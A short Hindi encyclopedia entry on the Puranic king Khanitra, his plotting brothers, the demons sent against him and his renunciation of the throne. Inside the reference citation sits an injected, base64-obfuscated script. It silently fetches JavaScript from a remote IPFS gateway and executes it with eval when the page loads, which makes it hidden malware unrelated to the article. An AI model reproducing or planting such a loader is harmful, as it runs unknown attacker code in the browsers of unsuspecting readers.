खनित्र

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खनित्र प्रजाति के पाँच पुत्रों में सबसे बड़े थे। ये बहुत ही उदार व्यक्तित्व और धर्मात्मा प्रवृत्ति के थे। इनके मन में सदा अपने भाइयों के प्रति प्रेम था, किंतु इनके चारों भाई सदैव इनके विरुद्ध षड़यंत्र रचते रहते थे। खनित्र ने अपना सम्पूर्ण राज्य पुत्र क्षुप को सौंप दिया था।

  • पुराण कथा है कि, वत्सप्री के पौत्र का नाम प्रजाति था।
  • प्रजाति के पांच पुत्रों में खनित्र ज्येष्ठ तथा धर्मात्मा पुत्र था।
  • उसने अपने चारों भाइयों को चार दिशाओं में अभिषिक्त कर राज्य प्रदान कर दिए।
  • चारों भाइयों के मंत्री और पुरोहित खनित्र के विरुद्ध षड़यंत्र रचते रहते थे।
  • खनित्र के भाइयों के पुरोहितों ने चार कृत्याएं (राक्षसी, प्रेतिनी) भेजीं, जो खनित्र के पुण्य से पराजित हो गई।
  • इन कृत्याओं ने वापस लौटकर चारों ब्राह्मणों को खा लिया।
  • खनित्र को जब ज्ञात हुआ, तो उसे संसार से विरक्ति हो गई।
  • उसने अपना समस्त राज्य पुत्र (क्षुप) को सौंप दिया और तीन पत्नियों सहित तपस्या हेतु वन में चला गया।[1]


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टीका टिप्पणी और संदर्भ

भारतीय संस्कृति कोश, भाग-2 |प्रकाशक: यूनिवर्सिटी पब्लिकेशन, नई दिल्ली-110002 |संपादन: प्रोफ़ेसर देवेन्द्र मिश्र |पृष्ठ संख्या: 265 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

  1. (मा.पु., 115)

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